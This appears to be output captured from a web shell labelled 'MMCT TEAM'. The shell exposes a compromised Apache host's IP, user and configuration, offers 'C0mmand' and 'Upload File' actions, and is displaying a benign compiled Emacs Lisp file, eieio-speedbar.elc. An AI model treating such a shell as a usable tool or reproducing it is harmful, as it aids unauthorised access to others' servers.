MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 3.17.142.93
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/share/emacs/24.3/lisp/emacs-lisp/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/share/emacs/24.3/lisp/emacs-lisp/eieio-speedbar.elc
;ELC
;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:09:02 2024
;;; from file /builddir/build/BUILD/emacs-24.3/lisp/emacs-lisp/eieio-speedbar.el
;;; in Emacs version 24.3.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


(byte-code "\300\301!\210\300\302!\210\300\303!\207" [require eieio eieio-custom speedbar] 2)
#@48 Make the generic object based speedbar keymap.
(defalias 'eieio-speedbar-make-map #[nil "\301 \302\303\304#\210\302\305\306#\210\302\307\306#\210\302\310\311#\210\302\312\313#\210)\207" [map speedbar-make-specialized-keymap define-key "
" speedbar-edit-line "+" speedbar-expand-line "=" "-" speedbar-contract-line "C" eieio-speedbar-customize-line] 4 (#$ . 662)])
#@49 A generic object based speedbar display keymap.
(defvar eieio-speedbar-key-map (eieio-speedbar-make-map) (#$ . 1039))
#@71 Menu part in easymenu format used in speedbar while browsing objects.
(defvar eieio-speedbar-menu '(["Edit Object/Field" speedbar-edit-line t] ["Expand Object" speedbar-expand-line (save-excursion (beginning-of-line) (looking-at "[0-9]+: *.\\+. "))] ["Contract Object" speedbar-contract-line (save-excursion (beginning-of-line) (looking-at "[0-9]+: *.-. "))] "---" ["Customize Object" eieio-speedbar-customize-line (eieio-object-p (speedbar-line-token))]) (#$ . 1163))
(defalias 'eieio-speedbar-customize-line 'speedbar-edit-line)
#@396 Create a speedbar mode for displaying an object hierarchy.
MAP-FN is the keymap generator function used for extra keys.
MAP-VAR is the keymap variable used.
MENU-VAR is the symbol containing an easymenu compatible menu part to use.
MODENAME is a string used to identify this browser mode.
FETCHER is a generic function used to fetch the base object list used when
creating the speedbar display.
(defalias 'eieio-speedbar-create #[(map-fn map-var menu-var modename fetcher) "\305\306!\204\307\310\311\312\313	\n\f\257E\"\207\313	\n\f%\207" [map-fn map-var menu-var modename fetcher featurep speedbar add-hook speedbar-load-hook lambda nil eieio-speedbar-create-engine] 10 (#$ . 1701)])
#@217 Create a speedbar mode for displaying an object hierarchy.
Called from `eieio-speedbar-create', or the speedbar load-hook.
MAP-FN, MAP-VAR, MENU-VAR, MODENAME, and FETCHER are the same as in
`eieio-speedbar-create'.
(defalias 'eieio-speedbar-create-engine #[(map-fn map-var menu-var modename fetcher) " \210\305	\n\306\307\310\311\312\313\fDFEF!\210\314	\315\316E!\207" [map-fn modename menu-var map-var fetcher speedbar-add-expansion-list lambda (dir depth) eieio-speedbar-buttons dir depth quote speedbar-add-mode-functions-list (speedbar-item-info . eieio-speedbar-item-info) (speedbar-line-directory . eieio-speedbar-line-path)] 11 (#$ . 2400)])
#@289 Create buttons for the speedbar display.
Start in directory DIR-OR-OBJECT.  If it is an object, just display that
object's subelements.
Argument DEPTH specifies how far down we have already been displayed.
If it is a directory, use FETCHER to fetch all objects associated with
that path.
(defalias 'eieio-speedbar-buttons #[(dir-or-object depth fetcher) "\304\305\306\217\203\fC\202;\203	!\202\211\204,\307\304\211\211\211\310\304\211\211&	\202>\n\205>\311\n@\"\210\nA\211\2040\304)\207" [dir-or-object fetcher objlst depth nil (byte-code "\211\302H\303=\205\304\305\306\217)\207" [dir-or-object tobj 0 object nil (byte-code "	H\302N\303H\304=\207" [tobj object-class eieio-class-definition 0 defclass] 2) ((error))] 4) ((error)) speedbar-make-tag-line "Empty display" eieio-speedbar-make-tag-line] 11 (#$ . 3059)])
(byte-code "\300\301\302\301\303\"\"\210\304\301\305\211\306$\210\300\307\302\307\310\"\"\210\304\307\305\211\311$\210\300\312\302\312\313\"\"\210\304\312\305\211\314$\210\300\315\302\315\316\"\"\210\304\315\305\211\317$\210\300\320\302\320\321\"\"\210\304\320\305\211\322$\210\323\324\305\325\326$\210\323\327\330\331\332$\210\323\333\334\335\336$\210\300\315\302\315\337\"\"\210\304\315\305\324\340$\210\300\341\302\341\342\"\"\210\304\341\305\324\343$\210\300\344\302\344\345\"\"\210\304\344\305\324\346$\207" [eieio--defalias eieio-speedbar-description eieio--defgeneric-init-form #1="Return a string describing OBJECT." eieio--defmethod nil #[(object) "\301!\207" [object object-name-string] 2 #1#] eieio-speedbar-derive-line-path #2="Return the path which OBJECT has something to do with." #[(object) "\300\207" [nil] 1 #2#] eieio-speedbar-object-buttonname #3="Return a string to use as a speedbar button for OBJECT." #[(object) "\301!\207" [object object-name-string] 2 #3#] eieio-speedbar-make-tag-line #4="Insert a tag line into speedbar at point for OBJECT.\nBy default, all objects appear as simple TAGS with no need to inherit from\nthe special `eieio-speedbar' classes.  Child classes should redefine this\nmethod to create more accurate tag lines.\nArgument DEPTH is the depth at which the tag line is inserted." #[(object depth) "\302\303\211\211\211\304!\305\306	&	\207" [object depth speedbar-make-tag-line nil eieio-speedbar-object-buttonname eieio-speedbar-object-click speedbar-tag-face] 10 #4#] eieio-speedbar-handle-click #5="Handle a click action on OBJECT in speedbar.\nAny object can be represented as a tag in SPEEDBAR without special\nattributes.  These default objects will be pulled up in a custom\nobject edit buffer doing an in-place edit.\n\nIf your object represents some other item, override this method\nand take the appropriate action." #[(object) "\302\303!\210\304 r\305\216\306 \210\307	!\210\310 \210+\311 \207" [save-selected-window--state object require eieio-custom internal--before-save-selected-window ((internal--after-save-selected-window save-selected-window--state)) dframe-select-attached-frame eieio-customize-object dframe-maybee-jump-to-attached-frame speedbar-maybee-jump-to-attached-frame] 2 #5#] eieio-defclass eieio-speedbar ((buttontype :initform nil :type symbol :documentation "The type of expansion button used for objects of this class.\nPossible values are those symbols supported by the `exp-button-type' argument\nto `speedbar-make-tag-line'." :allocation :class) (buttonface :initform speedbar-tag-face :type (or symbol face) :documentation "The face used on the textual part of the button for this class.\nSee `speedbar-make-tag-line' for details." :allocation :class) (expanded :initform nil :type boolean :documentation "State of an object being expanded in speedbar.")) ("Class which provides basic speedbar support for child classes.\nAdd one of the child classes to this class to the parent list of a class." :method-invocation-order :depth-first :abstract t) eieio-speedbar-directory-button (eieio-speedbar) ((buttontype :initform angle) (buttonface :initform speedbar-directory-face)) ("Class providing support for objects which behave like a directory." :method-invocation-order :depth-first :abstract t) eieio-speedbar-file-button (eieio-speedbar) ((buttontype :initform bracket) (buttonface :initform speedbar-file-face)) ("Class providing support for objects which behave like a file." :method-invocation-order :depth-first :abstract t) #6="Insert a tag line into speedbar at point for OBJECT.\nAll objects a child of symbol `eieio-speedbar' can be created from\nthis method.  Override this if you need non-traditional tag lines.\nArgument DEPTH is the depth at which the tag line is inserted." #[(object depth) "\304!\305\306\"\211\204A\305\307\"\310=\203*\311\312\313\314\211\315!\316\305\317\"&	\202g\311\305\307\"\313\314\211\315!\316\305\317\"&	\202g\311\305\307\"	\203N\320\202O\321\322\315!\316\305\317\"&	\210	\205g\323T\"*\207" [object exp children depth eieio-speedbar-object-children eieio-oref expanded buttontype expandtag speedbar-make-tag-line statictag 32 nil eieio-speedbar-object-buttonname eieio-speedbar-object-click buttonface 45 43 eieio-speedbar-object-expand eieio-speedbar-expand] 12 #6#] eieio-speedbar-child-make-tag-lines #7="Base method for creating tag lines for non-object children." #[(object depth) "\301\302\303!\"\207" [object error "You must implement `eieio-speedbar-child-make-tag-lines' for %s" object-name] 4 #7#] eieio-speedbar-expand #8="Expand OBJECT at indentation DEPTH.\nInserts a list of new tag lines representing expanded elements within\nOBJECT." #[(object depth) "\303!\304\305\306\217\203\307\310	\"\202	\205\311\n\")\207" [object children depth eieio-speedbar-object-children nil (byte-code "@\211\302H\303=\205\304\305\306\217)\207" [children tobj 0 object nil (byte-code "	H\302N\303H\304=\207" [tobj object-class eieio-class-definition 0 defclass] 2) ((error))] 4) ((error)) mapcar #[(car) "\302	\"\207" [car depth eieio-speedbar-make-tag-line] 3] eieio-speedbar-child-make-tag-lines] 3 #8#]] 5)
#@99 Handle a user click on TEXT representing object TOKEN.
The object is at indentation level INDENT.
(defalias 'eieio-speedbar-object-click #[(text token indent) "\301!\207" [token eieio-speedbar-handle-click] 2 (#$ . 9086)])
#@99 Expand object represented by TEXT.
TOKEN is the object.  INDENT is the current indentation level.
(defalias 'eieio-speedbar-object-expand #[(text token indent) "\304\305\"\203$\306\307!\210\310	\311\312#\210\312\212\313\210\314u\210\315	T\"\210*\202@\304\316\"\203<\306\317!\210\310	\311\313#\210\320!\210\202@\321\322!\210\323 \207" [text token inhibit-read-only indent string-match "+" speedbar-change-expand-button-char 45 eieio-oset expanded t nil 1 eieio-speedbar-expand "-" 43 speedbar-delete-subblock error "Ooops... not sure what to do" speedbar-center-buffer-smartly] 4 (#$ . 9316)])
(byte-code "\300\301\302\301\303\"\"\210\304\301\305\306\307$\207" [eieio--defalias eieio-speedbar-child-description eieio--defgeneric-init-form #1="Return a description for a child of OBJ which is not an object." eieio--defmethod nil eieio-speedbar #[(obj) "\301\302\303!\"\207" [obj error "You must implement `eieio-speedbar-child-description' for %s" object-name] 4 #1#]] 5)
#@61 Display info for the current line when in EDE display mode.
(defalias 'eieio-speedbar-item-info #[nil "\302 \303\304\305\217\203\306\307!!\202\310 \211\205\311	!))\207" [tok no speedbar-line-token nil (byte-code "\211\302H\303=\205\304\305\306\217)\207" [tok tobj 0 object nil (byte-code "	H\302N\303H\304=\207" [tobj object-class eieio-class-definition 0 defclass] 2) ((error))] 4) ((error)) message eieio-speedbar-description eieio-speedbar-find-nearest-object eieio-speedbar-child-description] 4 (#$ . 10304)])
#@123 Search backwards to the first line associated with an object.
Optional argument DEPTH is the current depth of the search.
(defalias 'eieio-speedbar-find-nearest-object #[(&optional depth) "\212\204\301 \210\302\303!\203\304\305\306!!\2056\307\310\311\217\2044\312V\2034S\313\314\315\"\307\316#\210\202\317 )\207" [depth beginning-of-line looking-at "^\\([0-9]+\\):" string-to-number match-string 1 nil (byte-code "\301 \211\302H\303=\205\304\305\306\217)\207" [tobj speedbar-line-token 0 object nil (byte-code "	H\302N\303H\304=\207" [tobj object-class eieio-class-definition 0 defclass] 2) ((error))] 4) ((error)) 0 re-search-backward format "^%d:" t speedbar-line-token] 4 (#$ . 10839)])
#@103 If applicable, return the path to the file the cursor is on.
Optional DEPTH is the depth we start at.
(defalias 'eieio-speedbar-line-path #[(&optional depth) "\304 \305\216	\204\306 \210\307\310!\210\311\312\313!!\314	!\315\316\317\217\203'\320\n!\202(+\207" [save-match-data-internal depth tok default-directory match-data ((byte-code "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3)) beginning-of-line looking-at "^\\([0-9]+\\):" string-to-number match-string 1 eieio-speedbar-find-nearest-object nil (byte-code "\211\302H\303=\205\304\305\306\217)\207" [tok tobj 0 object nil (byte-code "	H\302N\303H\304=\207" [tobj object-class eieio-class-definition 0 defclass] 2) ((error))] 4) ((error)) eieio-speedbar-derive-line-path] 3 (#$ . 11556)])
(byte-code "\300\301\302\301\303\"\"\210\304\301\305\306\307$\210\310\306!\207" [eieio--defalias eieio-speedbar-object-children eieio--defgeneric-init-form #1="Return a list of children to be displayed in speedbar.\nIf the return value is a list of OBJECTs, then those objects are\nqueried for details.  If the return list is made of strings,\nthen this object will be queried for the details needed\nto create a speedbar button." eieio--defmethod nil eieio-speedbar #[(object) "\300\207" [nil] 1 #1#] provide] 5)

MMCT - 2023